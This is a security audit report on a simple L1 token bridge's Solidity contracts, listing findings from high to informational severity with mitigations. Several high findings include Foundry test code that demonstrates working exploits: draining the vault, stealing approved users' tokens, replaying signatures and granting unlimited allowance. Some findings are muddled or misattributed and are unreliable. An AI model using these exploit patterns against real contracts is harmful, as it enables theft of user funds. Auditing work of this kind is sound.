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Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
1 ./src/
2 #-- L1BossBridge.sol
3 #-- L1Token.sol
4 #-- L1Vault.sol
5 #-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
 - Ethereum Mainnet:
 - * L1BossBridge.sol
 - * L1Token.sol
 - * L1Vault.sol
 - * TokenFactory.sol
 - ZKSync Era:
 - * TokenFactory.sol
 - Tokens:
 - * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
 - pause/unpause the bridge in the event of an emergency
 - set Signers (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call depositTokensToL2, when they want to send tokens from L1
 -> L2.

Issues found

Severity	Number of issues found	
High	6	
Medium	1	
Low	2	
Info	2	
Total	11	

Findings

High

[H-1] Calling depositTokensToL2 from the vault contract to the vault contract allows infinte minting of unbacked tokens

Description: In L1BossBridge the depositTokensToL2 function allows caller to specify the from address from the safeTransferFrom call. Because the vault contract gives uint256 max approvals the depositTokensToL2 function can be called from the vault contract to the vault contract with the from address set to the vault contract. This allows the vault contract to mint unbacked tokens.

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
    revert L1BossBridge__DepositLimitReached();
}

token.safeTransferFrom(from, address(vault), amount);

// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}
```

Impact: An arbitrary user can mint any amount of unbacked tokens for any number of times.

Proof of Concept: Example Scenario

- 1. Alice calls the depositTokensToL2 function from the vault contract to the vault contract with the from address set to the vault contract.
- 2. Thus the L1BossBridge contract will emit a Deposit event with the from address as vault contract address, l2recepient address as the attacker and the amount as the amount (a huge amount).
- 3. Causing the L2 contract to mint a huge amount of unbacked tokens to the attacker.

Proof Of Code

```
function testCanInfinitelyMintTokensInL2() public {
2
           uint256 vaultBalance = 500 ether;
3
           deal(address(token), address(vault), vaultBalance);
4
5
           uint256 depositAmount = token.balanceOf(address(vault));
6
7
           address attacker = makeAddr("attacker");
8
           // Mint infinite tokens in L2
9
           vm.startPrank(attacker);
10
           vm.expectEmit(address(tokenBridge));
11
           emit Deposit(address(vault), attacker, depositAmount);
           tokenBridge.depositTokensToL2(address(vault), attacker,
               depositAmount);
14
           vm.stopPrank();
15
       }
```

Recommended Mitigation: The depositTokensToL2 function should only allow the msg. sender to deposit tokens.

[H-2] Users who gives token approval to the L1BossBridge contract may lose their tokens

Description: In the depositTokensToL2 function, the L1BossBridge contract calls the safeTransferFrom function of the token contract with arbitary from address need to be specified by the user. If a user has given approval to the L1BossBridge contract, a malicious user can deposit tokens from the user's account to mint backed tokens in the L2 contract.

```
function depositTokensToL2(address from, address l2Recipient, uint256
      amount) external whenNotPaused {
2
          if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
3
              revert L1BossBridge__DepositLimitReached();
4
5 @>
          token.safeTransferFrom(from, address(vault), amount);
6
7
          // Our off-chain service picks up this event and mints the
             corresponding tokens on L2
8
          emit Deposit(from, l2Recipient, amount);
9
      }
```

Impact: If a user has given approval to the L1BossBridge contract, a malicious user can deposit tokens from the user's account to mint backed tokens in the L2 contract.

Proof of Concept: Example Scenario

- 1. Alice gives approval to the L1BossBridge contract to spend her tokens.
- 2. Attacker calls the depositTokensToL2 function with the from address as Alice's address and the l2Recipient as Attacker's address.
- 3. Thus the L1BossBridge contract will emit a Deposit event with the from address as Alice's address, l2recepient address as Attacker's address and the amount as the amount.
- 4. Causing the L2 contract to mint backed tokens to Attacker's address.

Proof Of Code

```
function testCanMoveTokensOfOtherUsers() public {
    // poor alice approving
    vm.startPrank(user);
    token.approve(address(tokenBridge), type(uint256).max);
```

```
6
           // bob now moves her tokens to him
7
           uint256 depositAmount = token.balanceOf(user);
           address attacker = makeAddr("attacker");
9
           vm.startPrank(attacker);
10
           vm.expectEmit(address(tokenBridge));
11
           emit Deposit(user, attacker, depositAmount);
           tokenBridge.depositTokensToL2(user, attacker, depositAmount);
12
13
           vm.stopPrank();
14
       }
```

Recommended Mitigation: The depositTokensToL2 function should only allow the msg. sender to deposit tokens.

```
1 - function depositTokensToL2(address from, address l2Recipient, uint256
       amount) external whenNotPaused {
   + function depositTokensToL2(address l2Recipient, uint256 amount)
      external whenNotPaused {
3
           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4
               revert L1BossBridge__DepositLimitReached();
5
           token.safeTransferFrom(from, address(vault), amount);
6 -
7 +
           token.safeTransferFrom(msg.sender, address(vault), amount);
8
9
           // Our off-chain service picks up this event and mints the
              corresponding tokens on L2
           emit Deposit(from, l2Recipient, amount);
10
11
       }
```

[H-3] Lack of replay protection in the withdrawTokensToL1 function causes Signature replay attack

Description: The withdrawTokensToL1 function in the L2BossBridge contract does not have any signature replay protection. This allows anyone to use the same signature multiple times to withdraw tokens from the L2 contract. Causing the attacker to withdraw tokens multiple times.

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
      bytes32 r, bytes32 s) external {
2
           sendToL1(
3
               ٧,
4
                r,
5
               s,
6
                abi.encode(
7
                    address(token),
8
                    0, // value
9
                    abi.encodeCall(IERC20.transferFrom, (address(vault), to
                       , amount))
10
```

```
11 );
12 }
```

Impact: An attacker can replay the same signature multiple times to withdraw all the tokens from the L2 contract.

Proof of Concept: Example Scenario

- 1. Alice calls the withdrawTokensToL1 function with the signature \lor , r, s to withdraw tokens from the L2 contract.
- 2. The signer signs the message with the signature \lor , r, s and sends the signed message to the L2BossBridge contract.
- 3. As the signer's signature is not checked for replay protection, the attacker can replay the same signature multiple times to withdraw all the tokens from the L2 contract.

Proof Of Code

```
function testSignatureReplay() public {
2
           // assume already holds some tokens
3
           address attacker = makeAddr("attacker");
           uint256 vaultInitialBalance = 1000 ether;
4
5
           uint256 attackerInitialBalance = 100 ether;
           deal(address(token), address(vault), vaultInitialBalance);
6
7
           deal(address(token), address(attacker), attackerInitialBalance)
               ;
8
           // An attacker deposist to L2
9
10
           vm.startPrank(attacker);
           token.approve(address(tokenBridge), type(uint256).max);
12
           tokenBridge.depositTokensToL2(attacker, attacker,
               attackerInitialBalance);
13
           // Signer/Operator signs withdraw
14
15
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(
16
               operator.key,
               MessageHashUtils.toEthSignedMessageHash(
17
                    keccak256(_getTokenWithdrawalMessage(attacker,
18
                       attackerInitialBalance))
19
               )
           );
21
           while (token.balanceOf(address(vault)) > 0) {
22
               tokenBridge.withdrawTokensToL1(attacker,
23
                   attackerInitialBalance, v, r, s);
24
           }
25
26
           assertEq(token.balanceOf(address(vault)), 0);
27
           assertEq(token.balanceOf(address(attacker)),
               attackerInitialBalance + vaultInitialBalance);
```

```
28 }
```

Recommended Mitigation: The withdrawTokensToL1 function should have a replay protection mechanism to prevent signature replay attacks.

[H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

Description: The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: As the L1BossBridge contract is the owner of the L1Vault contract, an attacker could use the sendToL1 function to call the approveTo function of the vault, giving themselves an infinite allowance of vault funds.

Proof of Concept: Example Scenario

- 1. An attacker calls the sendToL1 function with the target set to the L1Vault contract and the calldata set to the approveTo function with the attacker's address.
- 2. The L1BossBridge contract will execute the approveTo function of the L1Vault contract, giving the attacker an infinite allowance of vault funds.
- 3. The attacker can then drain the vault of all its funds.

Proof Of Code

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
           address attacker = makeAddr("attacker"):
2
3
           uint256 vaultInitialBalance = 1000e18;
4
           deal(address(token), address(vault), vaultInitialBalance);
           // An attacker deposits tokens to L2. We do this under the
6
               assumption that the
7
           // bridge operator needs to see a valid deposit tx to then
              allow us to request a withdrawal.
8
           vm.startPrank(attacker);
           vm.expectEmit(address(tokenBridge));
9
           emit Deposit(address(attacker), address(0), 0);
11
           tokenBridge.depositTokensToL2(attacker, address(0), 0);
12
```

```
13
            // Under the assumption that the bridge operator doesn't
               validate bytes being signed
14
            bytes memory message = abi.encode(
               address(vault), // target
15
16
               0, // value
                abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
17
                   uint256).max)) // data
18
           );
19
            (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
               operator.key);
20
           tokenBridge.sendToL1(v, r, s, message);
21
           assertEq(token.allowance(address(vault), attacker), type(
               uint256).max);
23
           token.transferFrom(address(vault), attacker, token.balanceOf(
               address(vault)));
24
       }
```

Recommended Mitigation: Consider disallowing arbitrary calls to sensitive components of the bridge, such as the L1Vault contract.

[H-5] Create Opcode is not supported in the ZkSync era network

Description: The create opcode is not supported in the ZkSync era network. This opcode is used in the TokenFactory contract to create a new contract. This will cause the contract deployment to fail in the ZkSync era network.

Impact: The contract deployment will fail in the ZkSync era network.

Recommended Mitigation: The TokenFactory contract should be updated to use the create2 opcode to deploy a new contract.

[H-6] The L1BossBridge::withdrawTokensToL1 function does not check if the withdraw amount is same as the deposited amount causing the user to gain more tokens than deposited

Description: The L1BossBridge::withdrawTokensToL1 function does not check if the withdraw amount is same as the deposited amount. This allows the user to gain more tokens than deposited.

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
      bytes32 r, bytes32 s) external {
           sendToL1(
3
               ٧,
4
               r,
5
               s,
6
               abi.encode(
7
                   address(token),
                   0, // value
8
                    abi.encodeCall(IERC20.transferFrom, (address(vault), to
9 @>
        amount))
10
               )
           );
12
```

Impact: An attacker can gain more tokens than deposited.

Proof of Concept: Example Scenario

- 1. Alice deposits 100 tokens to the L2 contract.
- 2. Alice calls the withdrawTokensToL1 function with the amount as 200.
- 3. Alice will gain 200 tokens instead of 100 tokens.
- 4. Alice can gain more tokens than deposited.

Proof Of Code

```
1 function testCanWithdrawMoreThanDeposisted() public {
           address attacker = makeAddr("attacker");
2
3
           uint256 vaultInitialBalance = 1000 ether;
           uint256 attackerInitialBalance = 100 ether;
4
           deal(address(token), address(vault), vaultInitialBalance);
           deal(address(token), address(attacker), attackerInitialBalance)
6
7
8
           // An attacker deposist to L2
9
           vm.startPrank(attacker);
           token.approve(address(tokenBridge), type(uint256).max);
11
           tokenBridge.depositTokensToL2(attacker, attacker,
               attackerInitialBalance);
12
           // Signer/Operator signs withdraw
13
           (uint8 v, bytes32 r, bytes32 s) = vm.sign(
14
```

```
15
                operator.key,
16
                MessageHashUtils.toEthSignedMessageHash(
                    keccak256(_getTokenWithdrawalMessage(attacker,
17
                        attackerInitialBalance * 2))
18
                )
19
            );
20
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
21
                * 2, v, r, s);
22
23
            assertEq(token.balanceOf(address(attacker)),
               attackerInitialBalance * 2);
        }
24
```

Recommended Mitigation: The withdrawTokensToL1 function should check if the withdraw amount is same as the deposited amount.

Medium

[M-1] The L1BossBridge::sendToL1 function allows arbitary messages to be sent causing a potential gas bomb attack

Description: In the L1BossBridge::sendToL1 function allows arbitary messages to be sent. This allows an attacker to send arbitary messages to the L1 contract with higher gas fees which can cause a signer's to pay way more gas fees than regular gas fees for signing the arbitary messages.

```
1 @> function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
      message) public nonReentrant whenNotPaused {
2
           address signer = ECDSA.recover(MessageHashUtils.
               toEthSignedMessageHash(keccak256(message)), v, r, s);
3
           if (!signers[signer]) {
4
               revert L1BossBridge__Unauthorized();
5
6
           }
7
8
           (address target, uint256 value, bytes memory data) = abi.decode
               (message, (address, uint256, bytes));
9
           (bool success,) = target.call{ value: value }(data);
10
11
           if (!success) {
               revert L1BossBridge__CallFailed();
12
13
           }
       }
14
```

Impact: An attacker can send arbitary messages to the L1 contract with higher gas fees which can cause a signer's to pay way more gas fees than regular gas fees.

Proof of Concept: Example Scenario

- 1. An attacker sends arbitary messages to the L1 contract with higher gas fees.
- 2. The signer will pay way more gas fees than regular gas fees to sign a arbitary messages.

Recommended Mitigation: The sendToL1 function should only allow the operator to send arbitary messages to the L1 contract.

Low

[L-1] Lack of event emission in the L1BossBridge::withdrawTokensToL1 function

Description: The L1BossBridge::withdrawTokensToL1 function does not emit any event. This makes it difficult to track the withdrawl of tokens from the L2 contract.

```
1 function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2
           sendToL1(
3
                ٧,
4
                r,
5
                s,
                abi.encode(
6
7
                    address(token),
8
                    0, // value
9
                    abi.encodeCall(IERC20.transferFrom, (address(vault), to
                        , amount))
                )
           );
11
12
       }
```

Impact: It is difficult to track the withdrawl of tokens from the L2 contract.

Proof of Concept:

1. The withdrawTokensToL1 function does not emit any event.

Recommended Mitigation: The withdrawTokensToL1 function should emit an event after the withdrawl of tokens from the L2 contract.

[L-2] PUSH0 is not supported by all chains

Description: Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

• Found in src/L1BossBridge.sol Line: 15

```
1 pragma solidity 0.8.20;
```

• Found in src/L1Token.sol Line: 2

```
1 pragma solidity 0.8.20;
```

Found in src/L1Vault.sol Line: 2

```
1 pragma solidity 0.8.20;
```

• Found in src/TokenFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

Informational

[NC-1] Event is missing indexed fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

• Found in src/L1BossBridge.sol Line: 40

```
1 event Deposit(address from, address to, uint256 amount);
```

• Found in src/TokenFactory.sol Line: 14

```
event TokenDeployed(string symbol, address addr);
```

[NC-2] public functions not used internally could be marked external

Description: Instead of marking a function as **public**, consider marking it as external if it is not used internally.

• Found in src/TokenFactory.sol Line: 23

```
function deployToken(string memory symbol, bytes memory
contractBytecode) public onlyOwner returns (address addr) {
```

• Found in src/TokenFactory.sol Line: 32

```
function getTokenAddressFromSymbol(string memory symbol)
public view returns (address addr) {
```